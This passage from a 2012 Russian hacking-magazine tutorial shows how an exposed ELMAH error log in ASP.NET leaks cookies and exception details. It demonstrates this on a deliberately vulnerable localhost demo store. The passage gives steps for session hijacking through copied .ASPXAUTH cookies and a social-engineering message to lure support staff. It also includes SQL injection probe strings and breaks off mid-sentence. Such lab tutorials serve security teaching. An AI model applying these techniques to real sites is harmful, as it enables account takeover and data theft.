|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
||||||
w Click |
|
||||||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
ИльяВербицкий(blog.chivavas.org)w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ASP.NET:
ТЕМНАЯСТОРОНА ТРАССИРОВКИ
DVD
Нанашемдиске тынайдешь исходникуязвимого приложенияMusic Store
ЭКСПЛУАТИРУЕМСИСТЕМУРЕГИСТРАЦИИ ИМОНИТОРИНГАИСКЛЮЧЕНИЙELMAH
Одним из инструментов, применяемых для поиска и исправления ошибок в программах, являются отладчики и трассировщики
— специальные утилиты, выполняющие программу по шагам, чтобы понять, что вообще происходит. Сегодня речь пойдет о взломе ELMAH — популярного средства для трассировки ASP.NET-приложений.
Web-интерфейслогаELMAH
НЕМНОГО ОБ ОТЛАДЧИКАХ
Использование отладчика — это гарантия того, что ошибка будет как минимум обнаружена и, если повезет, исправлена. Но, к сожалению, существует множество ситуаций, когда программист не может прибегнуть к помощи этого мощного средства. Во-первых, не все ошибки можно отладить. Классический пример — тупиковые ситуации (deadlock) в многопоточном приложении: запускаешь приложение в отладчике — все работает, без него — программа «падает». Во-вторых, отладчик не всегда доступен. Например, тебе никто не разрешит устанавливать средства разработки на сервере высоконагруженного web-приложения. Или другой пример: я уверен на 99%, что ты не найдешь отладчик на компьютере бухгалтера Мариванны, которая использует твою «складскую» программу. Тут встает резонный вопрос: а что делать-то? Ответ нашли еще на заре появления компьютерной техники: трассировка — это получение информационных сообщений во время выполнения программы: какие были исключения, что ввел пользователь, чем программа занимается в данный момент и так далее. Средства трассировки приложений — это очень мощные, но в то же время и потенциально опасные инструменты, ведь они могут предоставить много полезной информации для хакеров. Такие «ошибки» особенно широко распространены в корпоративном софте, который пишется для внутренних нужд компаний. Программисты в корпорациях
056 |
ХАКЕР 04 /159/ 2012 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Каквидишь,настраницепоискаальбомавозможнаSQL-инъекция
стараются сделать жизнь службы поддержки (да, собственно, и свою) как можно проще, поэтому чаще всего доступ к различным системным сообщениям и трассировке неограничен. Зачем
усложнять систему, когда доступ извне защищают бравые парни из службы безопасности? А об инсайдерах, как обычно, забыли, хотя, если верить статистике, 80% успешных взломов корпоративных систем производится именно ими.
ЧТО ТАКОЕ ELMAH?
ELMAH (расшифровывается как Error Logging Modules and Handlers) — это продукт с открытым исходным кодом, разработанный Атифом Азизом (Atif Aziz). Данная система облегчает задачу регистрации и мониторинга необработанных исключений в приложениях, разработанных на ASP.NET. Несмотря на свою молодость (ELMAH 1.1 был зарегистрирован в репозитории NuGet 11 января 2011 года), проект очень популярен в среде разработчиков сайтов под .NET. На момент написания статьи он находился на четырнадцатой строчке среди пакетов, доступных в NuGet, а библиотеку скачали 45 583 человека.
Секрет популярности ELMAH кроется в его простоте. Интеграция с любым web-приложением происходит при помощи всего нескольких щелчков мышки: добавляешь библиотеку в проект при помощи NuGet и готово! Кроме того, если ты захочешь использовать ELMAH с уже существующим кодом, то тебе не потребуется заново его компилировать! Просто скопируй необходимые сборки в проект и подправь Web.config. Все заработает на ура. Несмотря на простоту использования, ELMAH обладает богатым функционалом: здесь присутствует возможность сохранения информации об ошибках в различные базы данных, существуют сервисы уведомления разработчиков по электронной почте или через RSS и так далее.
Угоняемсессиюпользователя
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
ASP.NET: темная сторона трассировкиw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
СТАРАЯУЯЗВИМОСТЬ
ELMAH — это далеко не первый пример, когда средство, предназначенное для облегчения жизни разработчиков, позволяло злоумышленникам получать доступ к системной информации. В 2007 году была
зарегистрирована похожая уязвимость в системе трассировки web-приложений,
идущей в поставке ASP.NET. Web-страница Trace.axd, как и ELAMH, предоставляла слишком много информации в открытом доступе. Этот факт позволял хакерам легко и просто угонять сессии авторизованных пользователей. Дополнительная информация об уязвимости доступна на сайте Rapid7.
Теперь давай перейдем от слов к делу. В качестве примера я решил использовать учебное web-приложение ASP.NET MVC Music Store, которое ты сможешь найти на нашем диске. Также оно доступно в интернете на сайте CodePlex, но уже без интеграции с ELMAH, так что в этом случае я рекомендую обратиться к официальному сайту проекта для получения дополнительной информации. Ты можешь запускать данное web-приложение непосредственно из Visual Studio или зарегистрировать его в IIS. Я буду использовать второй вариант и создам новое приложение, доступное по адресу http://localhost/MusicStore.
НЕМНОГО ТЕОРИИ
Для начала давай посмотрим, что же интересного можно найти в отчете об обычном исключении в ELMAH. Открой Music Store
ивойди в магазин как администратор, воспользовавшись ссылкой Admin в правом верхнем углу страницы. Имя пользователя
ипароль по умолчанию admin и p@ssw0rd соответственно. Теперь давай сгенерируем какое-нибудь исключение. Наш сайт основан на ASP.NET MVC, так что проще всего запросить несуществующую страницу, так как ошибка 404, конечно же, сгенерирует исключение. Получилось? Отлично. Теперь можно посмотреть, какую же информацию мы сможем вытянуть. Для этого открывай webинтерфейс ELMAH, который доступен по адресу http://localhost/ MusicStore/elmah.axd. Как видишь, последняя исключительная ситуация, зарегистрированная ELMAH, это ошибка 404, которую мы сами только что воспроизвели. Дальше давай посмотрим, что же именно записал ELMAH. Нажми на ссылку Details и внимательно посмотри на логи. Во-первых, ELMAH сохраняет как можно больше информации об исключении: его тип, сообщение об ошибке и стек вызовов. Что все это может дать злоумышленнику? Многое. Очень часто сообщение об ошибке содержит не предназначенную для посторонних глаз системную информацию, например информацию о соединении с базой данных (включая имя пользователя
ипароль), информацию о состоянии объекта, в котором произошла ошибка, и многое другое. Если ошибка произошла в коде интернетмагазина, то там могут оказаться и данные кредитной карты пользователя! На мой взгляд, стек вызовов не может принести столько вреда, сколько текст сообщения об ошибке, но я не думаю, что ты захочешь раскрывать злоумышленнику какую-либо информацию об устройстве твоего приложения. Также стоит отметить, что сообщения об ошибках в логах ELMAH никак не связаны с параметром customErrors в ASP.NET, который используется для сокрытия чувствительной информации от пользователя web-приложения. Ты можешь скрыть от пользователя информацию о необработанном
исключении, установив customError в режим on (включен), но это
ХАКЕР 04 /159/ 2012 |
057 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
||||||
w Click |
|
||||||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
не поможет тебе скрыть эту информацию от ELMAH, в журнале ты найдешь полное описание ошибки.
Идем дальше. ELMAH не ограничивается регистрацией исключения. Он также записывает информацию и о запросе, повлекшем за собой некорректную работу сайта, сохраняя, например, такие серверные переменные, как HTTP_COOKIE, HTTP_HOST, HTTP_USER_AGENT и тому подобные. Наибольший интерес для нас представляют серверные переменные HTTP_COOKIE и AUTH_USER. Переменная AUTH_USER содержит имя пользователя, который выполнил запрос. В твоем случае значение этой переменной будет равно admin. Переменная HTTP_COOKIE содержит куки пользователя. Если он был авторизован на сайте, то в переменной должно быть значение куки .ASPXAUTH. Этот кукис используется для проверки подлинности запроса от определенного пользователя. Таким образом, если пользователь находится на сайте, ты можешь создать похожие куки в своем браузере и угнать сессию данного пользователя. Кроме того, я рекомендую обратить внимание на кукис с именем ASP.NET_SessionId. В нем хранится идентификатор сессии атакуемого пользователя. Его стоит похитить на случай, если в сессии приложения хранится что-нибудь важное. Теперь у тебя есть достаточно информации для проведения атаки на
пользователя системы. Она довольно проста: ты должен найти активную сессию авторизованного пользователя и скопировать куки
.ASPXAUTH и ASP.NET_SessionId в свой браузер.
УГОНЯЕМ СЕССИИ ПОЛЬЗОВАТЕЛЕЙ
План действий понятен. Переходим к его непосредственной реализации. Первым делом открой лог ELMAH и посмотри информацию
опоследних исключениях. Есть шанс, что среди них обнаружится информация об активной в данный момент сессии. В этом случае ты можешь смело переходить к следующему шагу. Если тебе не повезло, то остаются два возможных варианта действий. Во-первых, ELMAH распространяет информацию об ошибках через RSS. Добавь канал http://localhost/MusicStore/elmah.axd/rss в читалку RSS и спокойно жди, пока появится возможность для угона сессии :). Нет времени ждать? Тогда тебе на помощь придет социальная инженерия. Предположим, что ты решил взломать какое-нибудь внутрикорпоративное приложение (именно там чаще всего можно встретить незащищенный ELMAH). Попробуй отправить в службу поддержки следующее сообщение: «Здравствуйте. Сегодня у меня перестало открываться приложение Music Store, постоянно выводится ошибка 404. Пример ссылки, которую я пытаюсь открыть: http://localhost/MusicStore/Store/ Browse>aspx". Особенность ссылки в том, что страница сгенерирует ошибку 400 «Плохой запрос», которая будет записана в журнал ошибок ELMAH. Теперь осталось ждать, пока сотрудник службы поддержки перейдет по ссылке. Скорее всего, он уже авторизован на сайте, поэтому ты сможешь угнать его сессию. Наша операция переходит в активную фазу. Открывай web-страницу ELMAH и ищи информацию
окуках сотрудника службы поддержки. Скорее всего у тебя в руках окажется что-то аналогичное:
КонфигурацияELMAHпоумолчаниювWeb.configтестовогосайта
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ПолучаемсписокпользователейMusicStoreспомощьюSQL-инъекции
ASP.NET_SessionId=3dljmclkhjpat52quopccijj;
.ASPXAUTH=CDB45013DD38AD7D2759BA6FAA7D98F07
...
B84C6CB5BCC76E7AE899690CC2016B5F1BCE9CDCBAA
Осталось создать подобные куки в твоем браузере. Для этой цели я использую браузер Firefox с плагинами Firebug и Firecookie. Кукис ASP.NET_SessionId скорее всего уже существует, поэтому просто обнови его значение. После этого создай кукис .ASPXAUTH. Вот и все! Далее перезагрузи страницу и открой раздел администрирования сайта, щелкнув по ссылке Admin в правом верхнем углу главной страницы. Если все верно, и сессия пользователя еще активна, то ты войдешь в админку, не зная при этом пароль администратора сайта.
И ЭТО ЕЩЕ НЕ ВСЕ
ELMAH не только позволяет подключаться к активным сессиям пользователей, но и существенно облегчает поиск уязвимостей на сайте. Давай в качестве примера проведем атаку типа SQL Injection на наш Music Store. Я специально добавил такую уязвимость в учебный пример — в оригинальной версии Music Store от Microsoft данная проблема отсутствует. Давай посмотрим, как устроена страница поиска альбома. Открывай http:// localhost/MusicStore/Search. Как видишь, здесь есть только поле для поиска и кнопка сабмита. Теперь необходимо удостовериться, возможно ли выполнить SQL-запрос, да и вообще, есть ли доступ к базе данных на этой странице. У тебя есть доступ к ELMAH, значит, можно упростить себе жизнь и попробовать сгенерировать исключение. Введи что-либо наподобие "' or select 1 from abcdef". Скорее всего, в базе данных не будет таблицы с именем abcdef
(я бы за такую таблицу руки разработчику оторвал). Как и ожидалось, поиск вызвал исключительную ситуацию в коде. Теперь необходимо удостовериться, действительно ли на странице возможна SQL-инъекция. Открывай лог ELMAH и смотри последнее исключение:
System.Data.SqlClient.SqlException (0x80131904):
Incorrect syntax near the keyword 'select'.
Incorrect syntax near '%'.
Unclosed quotation mark after the character string ''.
О чем говорит эта ошибка? Во-первых, сайт построен на базе СУБД SQL Server. Во-вторых, поле ввода ключевого слова не фильтруется. Теперь у тебя должно быть достаточно информации для проведения атаки.
Кстати, ELMAH позволяет не только убедиться, что на странице есть SQL-инъекция, но и автоматизировать поиск подобных уязвимостей на других страницах. Поэтому первым делом при анализе логов обрати внимание на ошибки с типом Sql. Ты также можешь скачать список ошибок в формате CSV, воспользовавшись ссылкой http://localhost/MusicStore/elmah.axd/download, и затем произвести дальнейший анализ в Microsoft Excel или при помощи скриптов. Для начала давай попробуем получить список всех альбомов. Возвращайся на страницу поиска и вводи следующий текст: "' or 1 = 1 --". Получил? Отлично. Теперь давай попробуем сделать что-
058 |
ХАКЕР 04 /159/ 2012 |